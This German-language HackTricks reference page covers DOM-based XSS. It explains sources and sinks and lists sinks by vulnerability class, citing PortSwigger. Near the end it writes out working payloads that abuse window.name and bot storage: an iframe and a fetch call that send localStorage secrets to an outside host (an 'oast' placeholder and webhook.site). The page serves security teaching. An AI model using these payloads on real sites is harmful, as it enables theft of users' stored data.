DOM XSS
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
DOM Schwachstellen
DOM-Schwachstellen treten auf, wenn Daten aus vom Angreifer kontrollierten sources (wie location.search, document.referrer oder document.cookie) unsicher an sinks übertragen werden. Sinks sind Funktionen oder Objekte (z. B. eval(), document.body.innerHTML), die schädlichen Inhalt ausführen oder rendern können, wenn ihnen bösartige Daten übergeben werden.
- Sources sind Eingaben, die von Angreifern manipuliert werden können, einschließlich URLs, Cookies und Webnachrichten.
- Sinks sind potenziell gefährliche Endpunkte, bei denen bösartige Daten zu negativen Auswirkungen führen können, wie z. B. der Ausführung von Skripten.
Das Risiko entsteht, wenn Daten von einer source zu einer sink fließen, ohne ordnungsgemäße Validierung oder Bereinigung, wodurch Angriffe wie XSS ermöglicht werden.
Tip
Eine aktuellere Liste von sources und sinks finden Sie unter https://github.com/wisec/domxsswiki/wiki
Häufige sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Häufige Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
Der innerHTML-Sink akzeptiert in modernen Browsern keine script-Elemente, und svg onload-Ereignisse werden ebenfalls nicht ausgelöst. Das bedeutet, dass man alternative Elemente wie img oder iframe verwenden muss.
Diese Art von XSS ist wahrscheinlich am schwierigsten zu finden, da man in den JS-Code schauen muss, prüfen muss, ob er ein Objekt verwendet, dessen Wert man kontrolliert, und in diesem Fall herausfinden muss, ob es irgendeine Möglichkeit gibt, dies auszunutzen, um beliebigen JS auszuführen.
Tools, um sie zu finden
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Browser-Erweiterung, um alle Daten zu überprüfen, die einen potenziellen Sink erreichen: https://github.com/kevin-mizu/domloggerpp
Beispiele
Open Redirect
Quelle: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM treten auf, wenn ein Script Daten, die ein Angreifer kontrollieren kann, in einen Sink schreibt, der Navigation über Domains hinweg initiieren kann.
Es ist wichtig zu verstehen, dass das Ausführen beliebigen Codes, wie z. B. javascript:alert(1), möglich ist, wenn man die Kontrolle über den Anfang der URL hat, an dem die Weiterleitung stattfindet.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities treten auf, wenn ein Skript Daten, die von einem Angreifer kontrolliert werden können, in den Wert eines cookie einbindet. Diese Schwachstelle kann zu unerwartetem Verhalten der Webseite führen, wenn das cookie innerhalb der Website verwendet wird. Außerdem kann sie ausgenutzt werden, um einen session fixation Angriff durchzuführen, wenn das cookie zur Verfolgung von Benutzersitzungen verwendet wird. Der primäre sink, der mit dieser Schwachstelle verbunden ist, ist:
Sinks:
document.cookie
JavaScript Injection
Quelle: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities entstehen, wenn ein Script Daten, die von einem Angreifer kontrolliert werden können, als JavaScript-Code ausführt.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
Quelle: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities treten auf, wenn ein Skript die document.domain-Eigenschaft mit Daten setzt, die ein Angreifer kontrollieren kann.
Die document.domain-Eigenschaft spielt eine entscheidende Rolle bei der Durchsetzung der same-origin policy durch Browser. Wenn zwei Seiten aus unterschiedlichen Origins ihre document.domain auf denselben Wert setzen, können sie uneingeschränkt miteinander interagieren. Obwohl Browser bestimmte Einschränkungen für die Werte auferlegen, die document.domain zugewiesen werden können, wodurch die Zuweisung völlig unabhängiger Werte zur tatsächlichen Seitenorigin verhindert wird, gibt es Ausnahmen. Typischerweise erlauben Browser die Verwendung von child oder parent domains.
Sinks:
document.domain
WebSocket-URL poisoning
Von: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning tritt auf, wenn ein Skript kontrollierbare Daten als Ziel-URL für eine WebSocket-Verbindung verwendet.
Sinks:
Der WebSocket-Konstruktor kann zu WebSocket-URL poisoning-Schwachstellen führen.
Link manipulation
Von: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten in ein Navigationsziel innerhalb der aktuellen Seite schreibt, wie z. B. einen klickbaren Link oder die Absende-URL eines Formulars.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Quelle: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities entstehen, wenn ein Skript attacker-controllable data into an Ajax request schreibt, die mit einem XmlHttpRequest-Objekt gesendet wird.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten an eine Datei-Handling-API als filename-Parameter übergibt. Diese Schwachstelle kann von einem Angreifer ausgenutzt werden, um eine URL zu konstruieren, die, wenn sie von einem anderen Benutzer besucht wird, dazu führen kann, dass der Browser des Benutzers eine beliebige lokale Datei öffnet oder in eine solche schreibt.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
Quelle: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities treten auf, wenn ein Skript angreiferkontrollierte Daten in eine clientseitige SQL-Abfrage auf unsichere Weise einbindet.
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities entstehen, wenn ein script angreiferkontrollierte Daten im HTML5-Speicher des Browsers (localStorage oder sessionStorage) ablegt. Obwohl diese Aktion an sich keine Sicherheitslücke ist, wird sie problematisch, wenn die Anwendung anschließend die gespeicherten Daten liest und unsicher verarbeitet. Dadurch könnte ein Angreifer den Speichermechanismus nutzen, um andere DOM-based attacks durchzuführen, wie cross-site scripting und JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Quelle: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities treten auf, wenn ein Skript vom Angreifer kontrollierbare Daten in eine XPath query einbezieht.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities treten auf, wenn ein Script vom Angreifer kontrollierte Daten in einen String einbaut, der als JSON-Datenstruktur geparst und anschließend von der Anwendung verarbeitet wird.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation]
Web-message vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten als web message an ein anderes Dokument im Browser sendet. Ein Beispiel für verwundbare Web-message manipulation findet sich bei PortSwigger’s Web Security Academy.
Sinks:
DOM-data manipulation
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation]
DOM-data manipulation vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten in ein Feld im DOM schreibt, das in der sichtbaren UI oder in der client-side logic verwendet wird. Diese Schwachstelle kann ein Angreifer ausnutzen, um eine URL zu konstruieren, die—wenn sie von einem anderen Benutzer besucht wird—das Erscheinungsbild oder das Verhalten der client-side UI verändern kann.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities treten auf, wenn ein script attacker-controllable data unsafely to a problematic platform API übergibt. Dazu gehören APIs, die beim Aufruf dazu führen können, dass der Rechner des Benutzers übermäßige Mengen an CPU oder Festplattenspeicher verbraucht. Solche Schwachstellen können erhebliche Nebenwirkungen haben, etwa dass der Browser die Funktionalität der Website einschränkt, indem er Versuche, Daten in localStorage zu speichern, ablehnt oder laufende scripts beendet.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Implizite globals & window.name-Missbrauch
Das Referenzieren von name ohne Deklaration (var/let/const) verweist auf window.name. Da window.name über Cross-Origin-Navigationen hinweg erhalten bleibt, kann ein Angreifer den Namen eines Browsing-Kontexts mit HTML/JS vorbefüllen und später den Opferscode dazu bringen, ihn als vertrauenswürdige Daten darzustellen:
- Öffne/navigiere das Ziel in einem von dir kontrollierten, benannten Kontext:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Oder
window.openmit einem manipulierten Zielnamen wiederverwenden:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Wenn die Anwendung später element.innerHTML = name (oder einen ähnlichen sink) ohne Sanitization ausführt, wird der vom Angreifer kontrollierte window.name-String im Ziel-Origin ausgeführt, wodurch DOM XSS und Zugriff auf Storage desselben Origins möglich werden.
Admin/automation flows: vorab befüllter Storage & javascript:-Navigation
Automation-Bots (z. B. Playwright) besuchen oft zuerst eine interne Seite, speichern Geheimnisse in localStorage/cookies und navigieren dann zu vom Benutzer bereitgestellten URLs. Jede DOM XSS-Primitive (einschließlich Missbrauch von window.name) in diesem Ablauf kann das vorab gesetzte Geheimnis exfiltrate:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Wenn der bot Schemata nicht einschränkt, führt das Bereitstellen einer javascript:-URL (javascript:fetch(...)) im aktuellen origin ohne neue Navigation zur Ausführung, wodurch direkt leaking storage values erfolgen.
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


